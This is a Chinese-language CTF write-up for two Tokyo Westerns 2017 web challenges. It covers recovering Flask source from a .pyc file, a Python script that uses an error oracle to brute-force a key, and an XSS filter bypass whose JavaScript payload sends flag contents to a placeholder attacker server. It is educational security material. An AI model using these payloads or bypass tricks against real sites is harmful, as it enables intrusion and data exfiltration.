学习一下新的操作。 +2EXP


Super Secure Storage

首先这个网站提供了两个功能,加密与解密,一开始查看js代码发现是RC4加密,然后就以为是js代码审计,卡了超久,不知道什么时候一时兴起查看/robots.txt,发现了Disallow: /super_secret_secure_shared_directory_for_customer/ 路径里是两个配置文件securestorage.confsecurestorage.ini

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
#securestorage.conf
server {
  listen 80;
  server_name s3.chal.ctf.westerns.tokyo;
  root /srv/securestorage;
  index index.html;

  location / {
    try_files $uri $uri/ @app;
  }

  location @app {
    include uwsgi_params;
    uwsgi_pass unix:///tmp/uwsgi.securestorage.sock;
  }

  location ~ (\.py|\.sqlite3)$ {
    deny all;
  }
}
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#securestorage.ini
[uwsgi]
chdir = /srv/securestorage
uid = www-data
gid = www-data
module = app
callable = app
socket = /tmp/uwsgi.securestorage.sock
chmod-socket = 666
vacuum = true
die-on-term = true
logto = /var/log/uwsgi/securestorage.log
processes = 8

env = SECRET_KEY=**CENSORED**
env = KEY=**CENSORED**
env = FLAG=**CENSORED**

通过配置文件能知道是nginx和uWSGI,以及后台使用的为python与sqlite,nginx里禁用了.py.sqlite3的访问,所以不能通过直接访问http://s3.chal.ctf.westerns.tokyo/app.py 来获取源码了。但是有一种窍门,通过.pyc缓存文件来获取源码 http://s3.chal.ctf.westerns.tokyo/__pycache__/app.cpython-35.pyc 然后可以使用uncompyle6工具对缓存文件进行反编译。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
from flask import Flask, jsonify, request
from flask_sqlalchemy import SQLAlchemy
import hashlib
import os
app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///./db.sqlite3'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True
app.secret_key = os.environ['SECRET_KEY']
db = SQLAlchemy(app)

class Data(db.Model):
    __tablename__ = 'data'
    id = db.Column(db.Integer, primary_key=True)
    key = db.Column(db.String)
    data = db.Column(db.String)

    def __init__(self, key, data):
        self.key = key
        self.data = data

    def __repr__(self):
        return '<Data id:{}, key:{}, data:{}>'.format(self.id, self.key, self.data)

class RC4:

    def __init__(self, key=app.secret_key):
        self.stream = self.PRGA(self.KSA(key))

    def enc(self, c):
        return chr(ord(c) ^ next(self.stream))

    @staticmethod
    def KSA(key):
        keylen = len(key)
        S = list(range(256))
        j = 0
        for i in range(256):
            j = j + S[i] + ord(key[i % keylen]) & 255
            S[i], S[j] = S[j], S[i]

        return S

    @staticmethod
    def PRGA(S):
        i = 0
        j = 0
        while True:
            i = i + 1 & 255
            j = j + S[i] & 255
            S[i], S[j] = S[j], S[i]
            yield S[S[i] + S[j] & 255]

def verify(enc_pass, input_pass):
    if len(enc_pass) != len(input_pass):
        return False
    rc4 = RC4()
    for x, y in zip(enc_pass, input_pass):
        if x != rc4.enc(y):
            return False

    return True

@app.before_first_request
def init():
    db.create_all()
    if not Data.query.get(1):
        key = os.environ['KEY']
        data = os.environ['FLAG']
        rc4 = RC4()
        enckey = ''
        for c in key:
            enckey += rc4.enc(c)

        rc4 = RC4(key)
        encdata = ''
        for c in data:
            encdata += rc4.enc(c)

        flag = Data(enckey, encdata)
        db.session.add(flag)
        db.session.commit()

@app.route('/api/data', methods=['POST'])
def new():
    req = request.json
    if not req:
        return jsonify(result=False)
    for k in ['data', 'key']:
        if k not in req:
            return jsonify(result=False)

    key, data = req['key'], req['data']
    if len(key) < 8 or len(data) == 0:
        return jsonify(result=False)
    enckey = ''
    rc4 = RC4()
    for c in key:
        enckey += rc4.enc(c)

    encdata = ''
    rc4 = RC4(key)
    for c in data:
        encdata += rc4.enc(c)

    newdata = Data(enckey, encdata)
    db.session.add(newdata)
    db.session.commit()
    return jsonify(result=True, id=newdata.id, data=newdata.data)


@app.route('/api/data/<int:data_id>')
def data(data_id):
    data = Data.query.get(data_id)
    if not data:
        return jsonify(result=False)
    return jsonify(result=True, data=data.data)


@app.route('/api/data/<int:data_id>/check', methods=['POST'])
def check(data_id):
    data = Data.query.get(data_id)
    if not data:
        return jsonify(result=False)
    req = request.json
    if not req:
        return jsonify(result=False)
    for k in ['key']:
        if k not in req:
            return jsonify(result=False)

    enckey, key = data.key, req['key']
    if not verify(enckey, key):
        return jsonify(result=False)
    return jsonify(result=True)


if __name__ == '__main__':
    app.run()

从js里已经得知是rc4加密,但是这题是个web题,所以RC4加密函数部分可以不用看了。 从下面代码可以猜测id为1的消息应该是加密后的flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
if not Data.query.get(1):
        key = os.environ['KEY']
        data = os.environ['FLAG']
        rc4 = RC4()
        enckey = ''
        for c in key:
            enckey += rc4.enc(c)

        rc4 = RC4(key)
        encdata = ''
        for c in data:
            encdata += rc4.enc(c)

        flag = Data(enckey, encdata)
        db.session.add(flag)

下面的代码则是本题的突破点

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
@app.route('/api/data/<int:data_id>/check', methods=['POST'])
def check(data_id):
    data = Data.query.get(data_id)
    if not data:
        return jsonify(result=False)
    req = request.json
    if not req:
        return jsonify(result=False)
    for k in ['key']:
        if k not in req:
            return jsonify(result=False)

    enckey, key = data.key, req['key']
    if not verify(enckey, key):
        return jsonify(result=False)
    return jsonify(result=True)

# ...

def verify(enc_pass, input_pass):
    if len(enc_pass) != len(input_pass):
        return False
    rc4 = RC4()
    for x, y in zip(enc_pass, input_pass):
        if x != rc4.enc(y):
            return False

    return True

# ...
def enc(self, c):
      return chr(ord(c) ^ next(self.stream))

如果传入key的长度和真正的key长度不一致,就直接返回false,长度验证完毕后再将key的每个字符加密,并将其与真正的key的相应字符进行比较,如有一位不同就返回false。因为check()接受包含key参数的JSON,并不检查key参数的类型,所以就可以用list来构造字符串{"key" : ["a","b","c"]},因为null的异或会造成崩溃,所以就可以用来猜测key的长度以及key按顺序的每一位。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import json
url = "http://s3.chal.ctf.westerns.tokyo/api/data/1/check"
header = {'Content-Type': 'application/json;charset=UTF-8'}
aList = ["null"]
keylist = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
key = ''
while True:
    data = {'key':aList}
    re = requests.post(url, data=json.dumps(data),headers=header)
    if '500' in re.content:
        break
    else:
        aList.append("null")
print len(aList)
for i in range(len(aList)):
    for k in keylist:
        aList[i] = k
        data = {'key':aList}
        re = requests.post(url, data=json.dumps(data),headers=header)
        if '500' in re.content:
            key += k
            print key
            break

Clock Style Sheet

首先题目提供了两个文件proxy.pysanitizer.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#proxy.py
from flask import Flask, Response, stream_with_context, request

import requests

from sanitizer import urlsanitize
from urlparse import urlparse

app = Flask(__name__)

@app.before_request
def proxy():
    if request.method not in ["GET"]:
        return "{} is not allowed".format(request.method), 405
    url = request.url
    pr = urlparse(url)
    if pr.scheme not in ['http', 'https']:
        return "only HTTP or HTTPS is allowed", 400
    if pr.hostname in ['localhost', '127.0.0.1'] and pr.port == 8080:
        return "recursion detected", 400
    url = urlsanitize(url)
    headers = {k:v for k,v in request.headers if v}
    try:
        req = requests.get(url, headers=headers, stream=True)
    except:
        return "request failed", 500
    headers = dict(req.headers)
    if 'Content-Encoding' in headers: del(headers['Content-Encoding'])
    return Response(stream_with_context(req.iter_content()), headers=headers)

if __name__ == '__main__':
    app.run(debug=True, port=8080)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
#sanitizer.py
import re
import string


def urlsanitize(s):
    goodchars = string.ascii_letters + string.digits
    goodchars += "/:."
    return "".join([c for c in s if c in goodchars])

def htmlsanitize(s):
    while True:
        m = re.match(r'.*(script).*', s, re.IGNORECASE)
        if not m:
            break
        s = s.replace(m.group(1), '')
    while True:
        m = re.match(r'.*(on.+=).*', s, re.IGNORECASE)
        if not m:
            break
        s = s.replace(m.group(1), '')
    return s

一共四个页面:/, /refresh, /chrowler, /flag 访问/flag页面,提示only local IP is allowed. (your IP: x.x.x.x) 访问/refresh,跳转到/flag

以下内容均来自Tokyo Westerns CTF 2017 – Clock Style Sheet writeup

发现用curl访问/refresh可以获取到网页源代码,发现更改http头中的Referer,能改变url,所以发现这里能够xss curl -H 'Referer: blahblahblah"><' http://css.chal.ctf.westerns.tokyo/refresh

1
2
3
<!doctype html>
<html>
  <meta http-equiv="refresh" content="0;URL=blahblahblah"><">

又因为sanitizer.py有过滤规则,所以构造<scrona=ipt>来绕过

proxy.py中有urlsanitize函数,所以这样构造xsshttp://attacker/?"><script>alert()</script>是无法执行的 所以这里有个技巧,用history.pushState来将xss代码注射到Referer中

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<script>
payload = `"><scrona=ipt>
getFlag = async () => {
  content = await fetch('/flag');
  await fetch('http://ATTACKERS_SERVER/' + btoa(await content.text()));
};
getFlag()
</scrona=ipt>
`;
history.pushState({}, "", "a.html?a=" + encodeURIComponent(payload));
location.href = 'http://css.chal.ctf.westerns.tokyo/refresh';
</script>

然而我们接受到的信息却是only local IP is allowed. (your IP: 104.215.63.152)

原来crawler并不是/flag所在的服务器,所以要获取本地ip >After some trials, we tried to detect local IP address of crawler and web >server with WebRTC. >( WebRTC is useful technique to detect local IP address: https://github.com/diafygi/webrtc-ips )

获得ip为192.168.0.5,这是crawler的ip。怎么获得/flag的ip呢,wp作者的说的是猜测,于是就有了下面的代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<script>
payload = `"><scrona=ipt>
getFlag = async () => {
  content = await fetch('/flag');
  await fetch('http://ATTACKERS_SERVER/' + btoa(await content.text()));
};
getFlag()
</scrona=ipt>
`;
history.pushState({}, "", "a.html?a=" + encodeURIComponent(payload));
location.href = 'http://192.168.0.4/refresh'; // this line changed
</script>

ok,去平台拿flag了

参考资料:

Tokyo Westerns 2017 / Super Secure Storage Tokyo Westerns CTF 2017 – Clock Style Sheet writeup